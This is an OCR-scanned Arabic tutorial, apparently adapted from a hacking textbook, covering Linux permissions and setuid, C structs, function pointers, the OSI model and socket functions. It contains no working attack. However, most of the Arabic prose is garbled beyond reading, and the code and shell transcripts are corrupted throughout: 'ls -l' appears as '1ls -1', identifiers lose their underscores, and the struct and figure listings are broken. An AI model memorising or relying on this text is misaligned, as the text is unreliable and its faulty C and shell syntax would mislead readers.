Others

S_IROTH Give the file read permission for other (anyone).
S_IWOTH Give the file write permission for other (anyone).
S_IXOTH Give the file execute permission for other (anyone).

il e gl B B A oledall G e sed Linux Ll ol G ils JS)
Owner, Group, and Others
:J e s daled)

reader@hacking:~/booksrc $ 1ls -1 /etc/passwd simplenote*
-rw-/r--/r-- 1 root root 1424 2015-09-06 09:45 /etc/passwd
-rwx/r-x/r-x 1 reader reader 8457 2015-09-07 02:51 simplenote
-rw-/---/--- 1 reader reader 1872 2015-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $
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JI df Las read 5 cowner JI 4] "read and write" o5 slae| 5 fetc/passwd <ile J | 5 Lyt

others Ji JJ Lz read 5 «group

o Sl-No 0 5Snarl cad] vl > as s cgroup I ) users &Ls) Lii‘.fé ¢ group Juodse Ll 13]

-
-

GrOUp i o7 o5 aad AdmMin Jl Sl =225 Admins I group OIS 13 <! group

518 all s 5 U hall ool 4 o AT Il dalzi G5

reader@hacking:~/booksrc $ chmod 731 simplenote.c
reader@hacking:~/booksrc $ 1ls -1 simplenote.c

-rwx/-wx/--x 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $ chmod ugo-wx simplenote.c
reader@hacking:~/booksrc $ 1ls -1 simplenote.c

-r——/---/-—— 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $ chmod u+w simplenote.c
reader@hacking:~/booksrc $ 1ls -1 simplenote.c

-rw—-/---/-—— 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $

:JWIS chmod oY1 plaseealy simplenote sl ey bl Janis &1 Y1 ol (3 oY
7 for the owner, 3 for Group, and 1 for Others

§Feda 7 w5 3o

3kl eds 56 Las

(4+2+1)=7
Since 4 is read flag, and 2 is write flag, and 1 is the execute flag!, then the sumis 7
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©.Group ) Jaall 3 43 J1 45 L VI
user,group,other vz o execute Ji s write Jl ol>So ¢ 5 p s cay (4l Yl e
.Group, and Other J! -, J% b1 e read JI i-So L;frl ol LY

User IDs JI 4] oW Jazew

User IDs

ax Sla Administrator Account &1 _zas o id = 0 L root user J| Jrag clinux faodl el (3
getuid() Jes functions Ji ,ae pliseul id 0 J3J 50 ol o1e S5 Aol =l

2

..(,.@l\

rel slaall id JI S ea) o id oY1 Ol 2 aalits Les

reader@hacking:~/booksrc $ id matrix

uid=500 (matrix) gid=500 (matrix) groups=500 (matrix)
reader@hacking:~/booksrc $ id root

uid=0 (root) gid=0(root) groups=0 (root)
reader@hacking:~/booksrc $

J)L}i..:a .user reader Jb Lo | ol as ] ca g}.ﬁj J;T account o J o=l Vj <log out  faxs (’3‘1'*‘”’
e o ity AL 5L 5 55 LS s U1 notes JF il s
:é\:ﬁ\ Jalid
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jose@hacking:/home/reader/booksrc $
jose@hacking:/home/reader/booksrc $ 1s -1 /tmp/notes

—rW——————— 1 reader reader 36 2007-09-07 05:20 /tmp/notes
jose@hacking:/home/reader/booksrc $ ./simplenote "a note for jose"
[DEBUG] buffer @ 0x804a008: 'a note for jose'

[DEBUG] datafile @ 0x804a070: '/tmp/notes'

[!!] Fatal Error in main() while opening file: Permission denied
jose@hacking:/home/reader/booksrc $ cat /tmp/notes

cat: /tmp/notes: Permission denied
jose@hacking:/home/reader/booksrc $ exit

exit

reader@hacking:~/booksrc $

Jetc/passwd Cils Sts . Sade cMuns ¢l 2] ol calll i) access Jox user o ST sll o 13k oS35
s S o default shell JI g s users Jl oUly s (g 522

fShell JI 1dals
user interface J! ols u&.. Operating System JI ] Wls,L D}.,S commands &l it bl
Jeedd A5 s GUI 1 gl o CUNIX U1 s iy 3 0.8 1 s iy ool sl 22 1 50 )

s 22 Y IV 5V Lan

JS AT gl sae ar g Lal sVl p3Y1 4o o> Bash JI sa shells JI sda oo g5V
.ksh, tcsh, and zsh
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sue

p i 8l Lty cay ol default shell J1 sy o 52 0L pusind (Y ESlall sl linux LA WL
@3le pddind o il CisS detc/passwd —als Js1s (ﬁ.éami\ a) & okl Ll e s sl b
A ol s el

"Set User Id Permission" 5.5 el B Aol i

!*read, write, and execute permissions” JI sS4z Ja

Jiast J2 e sl s plased (L L 13]5 ceel Al 1Y gl ok Ll permission Ji,j Setuid
.root Jl wl>Ma 0.S JI & Jelx <16 users

I G e 55 "ohsh” ] el ol shell JI g s il e o) s p 52 01 _all peali_ild sl
iy S “Effective id” lede Gl (a5 555 33,05 id U s e 1212 «chsh G |3 terminal
ol 51 )

g’

2y BB A lallid U1 Ga s real T J1 (185 530l oy sl Y1 3R 3

reader@hacking:~/booksrc $ which chsh

/usr/bin/chsh

reader@hacking:~/booksrc $ 1ls -1 /usr/bin/chsh /etc/passwd
-rw-r--r-- 1 root root 1424 2007-09-06 21:05 /etc/passwd
-rws/r-x/r-x 1 root root 23920 2006-12-19 20:35 /usr/bin/chsh
reader@hacking:~/booksrc $

fetc/passwd JI s s s g0 2 | Chsh Il g0 G T G el (8) IV G 5 o6 5 1S
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M"chmod u+s" J.;Y\ r\.b';:..,al.g <l cabj L;Y Lol odn |ass 14.;7 2’.‘; ;

e s O L

getuid( ) a3 function el effectve id J) s real id J) W 6 a0 s 355 Ls

#include <stdio.h>

int main () {

printf ("real uid: %d\n", getuid());
printf ("effective uid: %d\n", geteuid());
}

UId.C sl 3 41 105 Lo

bl "reader” 555l pa s 4o ol Sy Jant OV el I s

reader@hacking:~/booksrc $ ./uid
real uid: 999

effective uid: 999
reader@hacking:~/booksrc $

(Bl 1) owner JI B (3 gday «(8) Sl a5l o(chmod uts) Y1 oy o 25 0V

reader@hacking:~/booksrc $ sudo chmod u+s ./uid
reader@hacking:~/booksrc $ 1ls -1 uid demo
-rws/r-x/r-x 1 root root 6825 2007-09-07 05:32 uid
reader@hacking:~/booksrc $ ./uid

real uid: 999

effective uid: 0

reader@hacking:~/booksrc $

.alll 144 (Setuid permission) JI &Ls| Li&<S ] 4 53 ¢SUAO oY1 plsezal Loy
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"Structs” J1 4 0V Jaxs

Structs
SArray JI SiS »
Lany o Bngid ) o o ol o e ot 0 5 e Lol L 30 65
Array is collection of the elements of same type.
S e ke Blgdl 3 e daas ST eV G pdsind & 5 armay JI pygds o8 o Struct J)
3 variables |5 Lal #5605 s30a ng>-| Ol el J& Sl ol g e £53 «Variable

.42 data types

§struct JI ga (8

“Is a composition of the different variables of different data types, grouped under same name”
Ji\da .record <2< struct Joxg psis o dw i J uwm iw = records UJ} 35l s ) e

A Ul 33n 5 sl o) LI (I ] Wt BRER 1 5T s iR bty i struict

Recoed oLy jﬁ\ C:f.ij(members) ol i o J; B Ly
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Struct

Record {
char name[64];
char course[128]
int age;
int year;

4

AT ke Jand

struct
int
int
int
int
int
int
int
int
int

}s

tm |
tm sec;
tm min;
tm hour;
tm mday;
tm mon;
tm year;
tm wday;
tm yday;
tm isdst;

/*
/*
/*
/*
/*
/*
/*
/*
/*

seconds */

minutes */

hours */

day of the month */
month */

year */

day of the week */

day in the year */
daylight saving time */

oo ST oleal L Lat asd

variables JI 5s i yo alstloy (6 42 <“Time” 1,Lazs] tM aew) struct Ji 1is

S
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’; s Jaladly Uai Vj struct Ji 1ia s object Slizily p & daidl (3

struct Ji s .4 s Object

5 gl ode b gz g ST Y10 S



Understanding Hacking and Information Security sylagleall osaly B4 95520300 Gy gall

ALl G Il S L R I KA s <Struct J1 sa Jll i 5 seall 3 55 LS
Slinsl LISk 4l s S5 . Attributes 51 Elements Lgls d).:.paj S Sl sstruct Ji b 22 020 LA

"Struct” Ji . gl s e 401 A1 Objects JI e s
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FEWY PSRRI I

#include <stdio.h>
#include <time.h>

int main () {
long int seconds since epoch;
struct tm current time, *time ptr;
int hour, minute, second, day, month, year;

seconds_since epoch = time (0); //Passtime a null pointer as argument.
printf ("time () - seconds since epoch: %1d\n", seconds_since epoch);

time ptr = &current time; //Settime_ptr to the address of the current_time struct.
localtime r(&seconds since epoch, time ptr);

Il Three different ways to access struct elements:

hour = current time.tm hour; /I Direct access
minute = time ptr->tm min; /I Access via pointer
second = *((int *) time ptr); I/l Hacky pointer access

printf ("Current time is: %$02d: %02d: %02d\n", hour, minute,
second) ;

declare Jix B Lm\ .pointer *time_ptr Ls%e Vj <object current_time SLil Les @UJQ| Ll g

o
.- o

Mtime.h library" 3 5505 a4 <time() b function el V" JaS sde (gl <Y long int J:xi
1/1/1970 4a base line £ 512 3 5 dow 4y b G121 506 W gl UNCLON Ul 0ia o 535

JI lda (s 52 current_time ,a 5 "address of our object" JI [ Jmf pointer time_ptr J! J;o;: L -

e )6 LT struct tm J1 3 55 4> 11 elements J1 object
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I ods ey o 52 localtime_r( ) ol function paswc OV DS G yow LT mes Variables Ll S5

JU-Iedd L variables
oo el G b e 2l s (1 615 Ll QU ol I W o pad printf() s s 22
. 45kes locate_r() < Of 4a object J s

G55 B oLl 01900 B34 Elements i eda cpe 83 okt sl &l 375 B pubits

object stret_element : L S e OF a5 51 &3 Jall o g ™

access to the hour element  fax] “direct access” sl s 42 hall o pluseiuls Lo
pointer J plusuly J ol ap 511 a5, L)

object JI 4] sy ollax 5 pointer time_ptr J declare faxs Led T S35

PBANG o L Loy 5 gl element JI JI J sl e ) Sazd —> 5 1l p st
(15 20 b iy b a5) W12l

RE SR PR F R SRV RNt A

t b | S d Cast foe 5,k e integer pointer [ "time_ptr pointer" JI |, s>z Lad A&

(int *) time ptr
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g5 oo 08 13 ple ISy pointer I ol Jg_/ﬂ .= | S "address of our object" Al i3 pointer JI 1.

4 J5l (=22 4 bytes &>-Luws Sl gres SIS T address JI e 4 bytes sl J| 2o 416 int

| s gl address JI s bytes

Y1 B35 ) et sl object JI s Lo 5 a3 Ll 13)

struct tm {
int tm sec;

/* seconds */

OY sstruct JI e 4 bytes J 5T (3 w5 el oy ssecOnd JI s struct J1 (& J5Y) element J1 OF oY

(*)cbﬁt«g(jd!c‘b s ! 525 1 s bl variables JI o Vil J&d5 Y ans struct JI

int pointer JI 144 dereference fos; o 52 514U S

:{pﬁHiacﬂzJ;T&oéjﬂ

reader@hacking:~/booksrc $ gcc
reader@hacking:~/booksrc $ ./a

time () - seconds since epoch:

Current time is: 04:19:48

reader@hacking:~/booksrc $ ./a.
time () - seconds since epoch:

Current time is: 04:20:00
reader@hacking:~/booksrc $

time example.c
.out
1189311588

out
1189311600

Programming
[96]



Function Pointers

rledis 095 JELL T 10U (Pointers JU sia &l s e OV oo

#include <stdio.h>

int func one() {
printf (“This is function one\n”);
return 1;

}

int func two () {
printf (“"This is function two\n”);
return 2;

}

int main() {
int value;
int (*function ptr) ();

function ptr = func one;

printf (“function ptr is 0x%08x\n”, function ptr);
value = function ptr();

printf (“value returned was %d\n”, value);

function ptr = func two;

printf (“function ptr is 0x%08x\n”, function ptr);
value = function ptr();

printf (“value returned was %d\n”, value);

Arguments ¢ 2 Y function Ji o Sint func_one() Fol o sl L nd AR

1© 2l pointers Ji Gy ¢ 1 a5 2 main() JI U gt

int (*function ptr) ();
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L LYy
Il ada Mo Lasiso 4 LY .. s b Function i " function_ptr" a.. pointer JI I
int value i LaJe (.j LA 5551 @ int P integer ¢ o data type <5 value J @-JL Function
s "address of function" JI u,a,;.,/ Dj:J printf () JI Leassl function JU ,oUkf return Ji C.a.,j
o5 &> function Ji s 2iits b (s L:fu,z{g:.lg "address of function" JI J| %3 s .pointer JI

iy Jall i U call o) ) ('j func_two() I dl s 415 0 et sldas ('j oz return 1" 5 (A& dell

:G%L:;H Jalas)

reader@hacking:~/booksrc $ gcc funcptr example.c
reader@hacking:~/booksrc $ ./a.out

function ptr is 0x08048374

This is function one

value returned was 1

function ptr is 0x0804838d
This is function two
value returned was 2
reader@hacking:~/booksrc $

RPN A IR WA 1o e

O sl A sl e L il Sl &)
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5l 05 Sedl Ll 8 sl (318 15 BN va s Ml s olas 35 llzay plel el L)
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Ao o 8ae e 05 fmew ol im el gl el ams ol o 3 T s wSlad s )8 ) el I L
35Ul o A 3 s 3 ML 0 3 1 o S 5ol e sl 85 5 Y sl o505
gl o Ll 8l o S otiall o Lot 55

) o s AN A Q) BN iy p gl CaSS

Far Shore

[N O . SR W N

SACK
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CORN
Near Shore
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Introduction

130 JoL3 s Upnd oSl s B 2 SIS 3 Jlws 1 U sy
Lo e b o s @13 aietl) (2 5 lin 0 23 LE e G Ly o i o GBS
Sl Lpleor) 38 B g e Mol 58 ¢ o JKE2 e ) o ool g L) o 050180 2 e
o5 sl i s GUls cat rest” jaseal sa V10T 4 iy (rasetdl SIS oy G0 AL
ol gl i s oy J3lS GWI a2l el A Caans 3SCalull ods "IN dynamic”
M) ! g ol eoad 05 Al Yo Y1 i ) (Networking) Jf &uas el . cp 23 de 2l
g delrVIsld 4 5 Ol dal | S& G “into the wild” aewl 2007 ple 3 4l o5 ol dals
T 5 g 0155 e sl 0 alool OF sy Bl s . wld] e ey 0d s tead "KWY L )

B *RVE SR NN EREACIIR
“Happiness within shared”

HosSme (b oo W 3L G55 LS sl 3

Jo 2l Blin] LSl Tal Gl G vgndelis vel ot oo dy s o) g oMlaladl o 3L il p 55 | d2d
e O 5 o805 Mg ol R ) $ ) 0 4t Lo <(browser) pieard) o Jaes ool
s g A I DY S 55 5 plisennls OIS Js 3 Web servers J) s ool il oy s o201 s

Selis o Niaad) A
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A elds Jlay] o o Sas S ol o e daxas Applications Ji e dydadl OF Cog ! e
Bl @ s oS5 applications Jieda Lede des A1 &N S 551 ¢l 6T CiliZ |, cend users JI
"transport methods™ ! UL Ll T 3 Y 58 55l odd 35 il Leladl ol )

o 53 <"Sockets" JI ) Jusy Vj LY S g s oKl olwlld G AR RETNAREYE g

C IV G gl el 5 Lgplts] 248 5 clgmale

L e
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The OSI Model

Application

Presentation

Session

Transport

Network

Data Link

Physical

Network Communications Process JI s OSI Model JI s ¢ 52
.(Layers) wlalb |

L 22 O Led 3 13 ttd il 1 olf 3 Lpnams Lo choted il o
«Destination J! J| dlu, Jla) <P g2l 5 <Transport Layer Ji S
Sty JU W aslel p s Joaf 1 13)5 cedB WL 1 3T e a5t
1V e el Wil Lalall o s 2331 Service Jl s )

Ll Service ¢fuf ‘Network Layer JI a5 g Jind o5 A b
JI dlasls o iz Lz Destination Ji ) Source Ji e &L J1 S5 a5
oMl 5 J oo sl pn ST il o ] 050k ¢ 2T OSG ) OIS s PacKet
VL 8BS 0dgh ( JE &sad - 3 LY asle] T <Source JI
RIENPS;

QL bl w5 (3 (Layer 3) JI Je (Layer 4) JI oz QUL
packet JI Jlay) 4155 JIS) G (Layer 2) JI Lo du2a2 (Layer 3) Jioda
LAY G Y

“Service Block” JU 4l d.paj Lo i
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£..“Service Block” J! 1da L
Lpleds 515l 3 Gandl guan e Slakall Gy &l ze Y1 &)
il Sl s 8 dele 5,53 2 0G0V

Application Layer

& O «.J Interface JI j;f ¢ el 5L Applications JI & Jws s end user Y elaS uf‘” dada)l ol
ke o)l olalass

Sl Slois b6 Sl Jlials Jla) e dagell g2y HTTP U1 S 55 Gl odin (3 o Sited

SN @l st dm i psk I sas DNS gl JsSsisdl Lol e Jom 1S clmnias Je

Bl rsbe mom Sl 2ol 8 9 032 &~ «"32-bit Network Address" JI JI "human-readable” J| o

AWl o bl Bl 3 B pe Hades 53l g LR ke U s U IP Addresses I

~“Data or Message” JL Layer JI oi»  packet information Ji s sl

Presentation Layer
5Ll Loy e <Application JI dads ) sl 3 Sy dal Data JI 5,6 ides 8 U5 5ame didall ods

Sy oLl ke Ll V] sy bl foe LSl B ) A kall o2 «Data ) ks &b ol s
Applications JI cllazd (es
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Session Layer
fll Il ol p o ogb eV (Lo o I "Session” U1 1l daall eda o 45
Establish, manage, and terminate the connection.

Z

Graceful Shutdown JI &les Layl s ."Full-Duplex or Half" JLasY! £ 05 3] Lo Loy 55 L]

.Drop il JLas¥l plas e Y

Transport Layer
Applications JI ;u Msgs JI & e b 5 jasls

- S aYL C,L.SL{ «(Application End points) Ji o, "Transport the Application Layer’s Messages"
20 .. Application Ji Lgsdsing 0l Jlas¥I ool 53 5le 5105 sy e A5l Sab - el 3l olilall
Jl "Destination End Point" JI -,sle slael dilll oda L,m\ psE o ."Sockets" dwf ol gall

Service Block JI Jts 3 el o 51 S dleidl L )N didas o5 S (Layer 3) JI

{UDP W15 TCP Js¥1 eV S 555 ) ool o (e 5 dalall o (3 Jony - ol
Jsos S aniew 4l mes Reliable Transfer Ji ioas pdiy SU5 Transport Ji ilen p 53 JsYG

T e it Lo 13] Al )l Il | 3sle] 5 <“Connection Oriented” & < 5T (g1 i 1 555 Al U1 Jsls I
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S g bl 5 OB 5ine AIGOMIM 0 faxy Lo o 201 ams 2 ey 568 Jlls I gl e il

Application Jl ¢ 55 & 5 les UDP JI o1 TCP Ul i daznes OIS 13] Ls ooz Application J ava;

ade U 105 ¢ olS St Joo sl Alas & iy o) o TCP U1 s s 51 425 UDP 1 ) U
ides 0,5 4 Lol Header JI Lelz ol Z\.,o;d\ ani] ubij EUs 5 “Connectionless Protocol”
g JLa Y

P de e Jons OT Y AN Y S 551 e DNS J10Y calos (3 DNS Ul ke azay

“Segment” La packet JI d.o..::

Network Layer
.~ host .. "Network-Layer Packets" JI JB sy p 585 b Lo ) am S Load L ls dakall oda

o 1| "Destination Address" Ji s "Transport-Layer Segment" JI | .« UDP JI 41 TCP I o5k o
I ) s ¥ s ol e ISy 15,0 Network Layer J1 il L e 5 o3 cialal
(The Network ¢ .Destination JU, 45U Transport Ji 4zl 1) Packet Ji «3 A o= Destination
JI w:..f Y igd! 3 Transport Layer Ji | vj.:fj igr o Transport Layer Ji s r,/LW Layer)

““‘Datagram” iz k)l ods (3 packet
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Data-Link Layer
g ol Leslb s Physical Network JI e ULl |8 3 aswes Lkl ol

10 5) 5% S 5T AN ot Ly 85 V1 iy ol pASE5 I Addressing Scheme
o585 ALl s Servers Jl s & e S ub:\! MAC Address J! J “Identifying Physical Devices”
5505 & Gaghl 1Y a5 <"error correction and flow control” sUas Y| oenasS sl Il any Lad

: b\ Data-Link Jl il (6 sns e JLasY!

Active, maintain, and deactivate data-link connections

La packet Ji Le 3l WiFi Jis Ethernet JI .. 2akll oda Jotls Jons 31 VS 55l Lam Aol

“Frame”

Physical Layer

<N S 5515 oo ,21 Jl node e Bits JI oo 52 o] ¢ <Row-bit Stream JI oo Jolas &zl oda
321 "Transmission Medium® Ji g5 o Aoz LA Bl

1da (Fiber optics) Ji o= (Twisted-Pair copper wire) JU iwlhl Jlu,¥) dad Cilid Sl

1“Bits” ¢ 5L L packet JI
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s S 533 5 ANE) sall 0 ms B
bl 5 Al olabll plasenl o SYI e server ] client . message JUis! ies c;jf 8 sl

S G 5\ Application JI o sasls dab 3 olab &3 Jil Jizs Ll DU G &

Server

Application [

tation |

= \J
| IP ITCPI HTTP .
| Ethernet | P |TCP| HTTP !

Source: Ref(5)

| Ethernet | IP !TCPI HTTP !

:Data JI Jlazwl s Jlw | Llis uﬂ)‘ T UL’
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25

JF 6 LS o S5 <Header &xa Lo Packet JI e LeUly BLoL dab S 035 Jla) ¥ dlee <L
LB o 513 5 ¢ Jaol U] Lol e packet JI g5 sU5 Q1L o Ol e 5T Packet Jl odd 1, 51 "Head”
Jleda & & « (Appending its Header info) il S L. e85 Al BLAYI Lhee 22y Header J)
o :,.? el i J,%...:T R c!u.&;.ib;,f‘}!\ o RISV J&s-. “Encapsulation” CME process

Sz
S

Itz o B2 JS Ll 5 .0 Data-Link Ji 259 5T Physical Layerd! ] <, 15 packet J

€\

2
o aBE ) (g335 (e cHeader 1 Lis ¢ 5 085 o o521 2341 3 b 5 Ul Zalall 3Lt 01 Header
“Decapsulation” :CM\ 14~ Process Jl o e s . LY bass | Js Header J)

:Decapsulation Ji s Encapsulation JI ils ) Jsdl

Source
Message M | Application ‘l
Segment Hy M | Transport ﬂ‘,
Datagram Hp H{ M | Network —
Frame H| H, H¢ M | Link
Physical
H| Hy Hy M [ Link H Hy Ht M
. Physical
>
Link-layer switch
— Router
Destination | T
4 u“ i
M | Application =
—
Hi M | Transport Hy Ht M Network Hy Ht M
Hy, H M | Network H| Hy, Hy M Link H Hy Ht M
H; H, Hy M | Link Physical
Physical \. ./
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router J| Q\L;’sza.g-y ik ] e G = sl e s H giéulngeaderﬁwJ@| 3 ek
Eow el slel s frame header JI ¢ 5 o5 A& ¢ 55> Decapsulation Jax, 35 Packet Ji & s +L51
Host Ji 1] packet JI )| | 3Ll .Subnet I e 5 = Y1 dgd! 3wy U1 Sletl ol MAC JI oy

.end user JI il e 3;3,21\ Wmessage JI ek < 4 |\l Decapsulation J| EAL :&

1555 Ly 3 1 oladally Aol Y S 0l s s

Layer Protocol

Application HTTP, SMTP, FTP, Telnet

Presentation ASCII, MPEG, JPEG, MIDI

Session NetBIOS, SAP, SDP, NWLink
Transport TCP, UDP, SPX

Network IP, IPX

Data link Ethernet, Token Ring, FDDI, AppleTalk

: Processes Communicating J! o s.as b= Il
e Session Ji eda 0 4SS Of LY &1 iy 1igs Client-Server ¢ (» Communication Session sl Le

s Session JI 5 S A1 Server o Server Lag |5 J1Servers JI asT 5 Se eSSl

."Client-Server"
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€..Sessions JI oy ¢ 5l lda iy 25 | 13)
L e OF ks 2l Process Jis «Client Jb JLasV! sLail saJb e85 I Process JI ca xs p ok

Server JU Session JI axs 1) v

e dk..iS
Diker e St OUtlook I a5 ey oldd Agent Ui o5k cbo pasdd 5 i8] &7 Dby Juw s Lok
« ity o) Mail Server JU dlasl ik o5 5ds 52 p 5 03«2l o) Mail Server Ji we ol 3L
«IClient-Server ¢ 5 o g3 U5 e o2 )5 Mail Servers Jl oy & oY1 Communication Ji L>Y

ade 3Uad 5 Server Ji a =Y15 “SMTP Client” alde 3Uais Client i ya &b oUkl Server JI o,
S“SMTP Server”

¢! Network Protocols J! s Network Layers Ji (g 45dalls S

P jé:; s bb oKl NS Gy, W Az (Network Layers Ju s e OV s

Networking protocols specify what types of data can be sent, how each type of message will be
identified, what actions can or must be taken by participants in the conversation. precisely..
“Where in the packet header each type of required information will be placed”.
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The Socket

zbE Ul~1.0.S JI lis e Process c_fu Lod Sy 0555 ¢ 5 pneSl L Lo Un Join ook Lke
it J2V A Do gl M 08 U1 i Jo Sandl lpdm po ool 5 O (F;rocesses) J 51l A
{..A g_n....pi\ 0.S Jl L@.\a{‘g U8l B 8 @f\é; “Interprocess Communication”

do lda

GHal s Sl <Host I J e85 Y Al Processes JI oy communications Ji Js 5.5 Al >3.(4,; LA LesT
“Processes on two different end systems” lgle

oped Y| Process JI J| Packet 5f AL, JLa L Applications Ji T Processes Ji sda a1 o 435 SJ
Process Ji p 5 5 L JI L ;1 Process Jl edis o 525 (11U 5 ."underlying network" Ji s s el by
Jleds ."Software Interface” i (Logical) 3 s Je dlu )l &l Jlialy ¢ =Y dgdl & 43

“Socket” L e d})af Software Interface

.?TSL “Socket” JI 4a |3

Host JI s Transport Layer JI s Application Layer JI ‘. C:“ Interface - s5le &)

:Socket JI s 55 415 ) sl
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Host or Host or

server server
— —
Controlled Controlled
by application Process Process by application
developer 4 4 developer
Socket Socket
4 v
S TCP with TcPwith | Controlled
Yy operating buffers, 4 = buffers, Y operating
¢ e variables Internet variables ¥

bl Socket ek 5 iy a0 58 el Al AR

“It can be used to send or receive data over a network”.

Il e 3 pasidl U8 5501 5 23 Application U1 oy p 52 (50 s A1 1 Tl L 53
G o5 . Video Streaming JI & LT o135 51 S <Application JI ¢ 5 Tes @Us, «Data
Internet Telephony JIS' sl peamad dis i TCP JI S 555 T GeiiansS L) koo 2 o520
Luls . TCP & UDP JLas¥I &N S 555 2 (0 Ol s Olo i Lutd Wl s - Ja231 UDP JI plasecal 0,505

AU Diall § g i “S0KetS” I cyo gty 8 55 Lt
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Stream Sockets
355 &1 oxay ““Two-way Communication” ¢ i cys Lz 55 (3 (li&l A8 ) 3l ados 5 55

o A 1 S Gy ST s Y 80 S ol i (Y K i SV L5 b
SR RTIOYCTRA RO I NP PRORRIIP- ) P VR G PR (KRR IE Mg AN BN
I Ul nazeh U LY (TCP I ptinims SoCKets 1 cyo ¢ 531 1o OF il Gl Cake 16 Ty 22N

AErrors &1 & a0 55 Packets
51 Mail Servers JU JLasyl s S5l o Llie JLas¥l ol 55 e g0l L plasenad o S

AR LgT J Web Servers

Datagram Sockets
g ceall s a2l JLY1 Ols 156 «<“One-way Communication” Ji 5,56 1) o 31 Jlas¥I 0,5 La

o585 23 (CisCO cpe BN et W T 3 loled e ST o oLy ) S8 Dl ) L] TAE a]
S g s Uy G a5 cosledd) S fu 2 S US Mail Jl s ez Hard copyﬁs;L@_:j\qLi
d‘&ﬁ;dlcUDPd\dﬁj‘jj\{@“M..!9@&%‘9‘9}»%}“%1@.“‘{5}4?&59,“91 'J‘@";uﬂf‘ﬂ
S U3 g PDF Gy lsle 0 5 0 sl 15 s T o 1 U 2 Y 5 Packets
O e el o

IV Sl 3 LY Server  Client g Jlas &las 3T Stream Socket Ji plasscal g 55 JISST L L
Jasl e WSl input & e Server JI ) {.j Buffer JI 1| cadow 3LedL oLkl output stream JI By
client Ji 1] Server J| -, data J|
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Server OS Client OS

Server Process Client Process

Socket

local: 10.2.3.4:80
remote: 10.3.4.9:4

local: 10.3.4.9:4
remote: 10.2.3.4:80

Port2324 4—Port 2324 ’
- SOCKETS e

‘

CLIENT P
101.4.9
Running Telnet Client

SERYER MACHINE
101 .11
Running Telnet Server on Default Telnet Port
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S Sl e 2asll LA G datai ezl ag sl SN it SB ARl T OV
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Socket Functions

X identify <] “fille descriptor” J s G5 ¢S sludl OUI G b 2 1 file access JI S J»
Lo . Jasd el s LA reference &bty 0,5 o5 » dkandl oda Lo, kernel JI plis U5 5 4ot oy Cilo
e sa file access Jl pusin O |S Lekas +15Y L&yl Functions ekt s 3l s Jales Sockets I

.read( ) 5 write() = functions Ji ¢

:Lib Jieda (3 Socket JI Lghosing ) functions Ji o0 define Jas &5

<Sys/sockets.h>
/usr/include/sys/socket.h

1Libd\o.l.aso,a)).)a.«dﬂ&b

/* Declarations of socket constants, types, and functions.

2: Copyright (C) 1991,92,1994-2001,2003,2005,2007
3: Free Software Foundation, Inc.
4: This file is part of the GNU C Library.

:Sys/Socket.h Library JU ol iwlu N1 functions Ji iz oda
Sl ool o e ol Y il o) 25558 5 W s 35752 1y gz s function S Jaud e 53
G oSV o3 (5 2T 5 s s p sy Al O3 B0% I 5l Ay i s it LT el
sl ool 241

socket (int domain, int type, int protocol)

Used to create a new socket, returns a file descriptor for the socket or -1 on error.
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connect (int fd, struct sockaddr *remote host, socklen t addr length)
Connects a socket (described by file descriptor fd) to a remote host. Returns 0 on success and -1
on error.

bind(int fd, struct sockaddr *local addr, socklen t addr length)
Binds a socket to a local address so it can listen for incoming connections. Returns 0 on success
and -1 on error.

listen(int fd, int backlog queue size)
Listens for incoming connections and queues connection requests up to backlog_queue_size.
Returns 0 on success and -1 on error.

accept (int fd, sockaddr *remote host, socklen t *addr length)

Accepts an incoming connection on a bound socket. The address information from the remote
host is written into the remote_host structure, and the actual size of the address structure is
written into *addr_length.

This function returns a new socket file descriptor to identify the connected

socket or -1 on error.

send (int fd, void *buffer, size t n, int flags)
Sends n bytes from *buffer to socket fd; returns the number of bytes sent or -1 on error.

recv (int fd, void *buffer, size t n, int flags)
Receives n bytes from socket fd into *buffer; returns the number of bytes received or -1 on error.

Dge ¥l oda dydowy o i cSocket JI eLis] de & LY

Domain
St ol IPVE o1 IPVA o falazmw oS 131 L dyad UKo, Siias Protocol Family Ji g 55 525
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Type
TCP or UDP 01 13] L Socket Type JI 4. x5

Protocol

S

A3 15Y1 Argument Ji 3 protocol JI g L33 WY unspecified o, 0 STos

Ibits/socket.h : ,L.L1 1A e \ define Jos (15 protocol families J! oia

ol 5ds e library Jl s ol 22 il

:protocol families JU Lot ya s cs 5o Jsb T

/* Protocol families. */

#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define

PF _UNSPEC 0 /* Unspecified. */
PF LOCAL 1 /* Local to host (pipes and file-domain). */
PF UNIX PF LOCAL /* 0ld BSD name for PF LOCAL. */

PF FILE PF LOCAL /* Another nonstandard name for PF LOCAL. */

PF_INET 2 /* IP protocol family. */

PF AX25 3 /* Amateur Radio AX.25. */

PF IPX 4 /* Novell Internet Protocol. */
PF_APPLETALK 5 /* Appletalk DDP. */

PF NETROM 6 /* Amateur radio NetROM. */
PF BRIDGE 7 /* Multiprotocol bridge. */
PF_ATMPVC 8 /* ATM PVCs. */

PF X25 9 /* Reserved for X.25 project. */
PF_INET6 10 /* IP version 6. */

Networking
[123]



:Sockets JI ¢l sl Lol sa5 Gl s A

/* Types of sockets. */
enum __ socket type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte
streams. */
#define SOCK STREAM SOCK STREAM
SOCK _DGRAM = 2, /* Connectionless, unreliable datagrams of fixed
maximum length. */
#define SOCK DGRAM SOCK DGRAM

Lo Sockets JI e 55 LY

Stream (TCP)
Datagram (UDP)

Socket Address

o bl Sl e L)Y By o 0 b Gy Il L3 LY Wl s S
Source Address, Source Port, Destination Address, and Destination Port
idas 3 a3l I “Socket Address Structure” JI £ o JeVL b~ & I functions JI o 55

object JJ &slall oSl S ¢¢3>',_;,il Address |3 Lsla]l @‘ﬂp Address Structure JU ket «JLasV!
16 bits 4 <«IP |3 iast 32 bits 5 <address family 3 16 bits - ¢ 5,Le 0, IPv4 Address Jb ol
Address Family J! L., & 1isa s ..IPV6 JL 5Ll object JI e ez C.LJL lia 5 Port No |4 inll

A5l i Structure ) il £l QUL
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§ S 3 15) . asdiinns 401 Address Structure JI £ i wli LS

ST Lozl b iS5 SN O G e 1 1t 356 o ol agll o Struct i s
(Objects) vl Lecle Ll LG 4«“

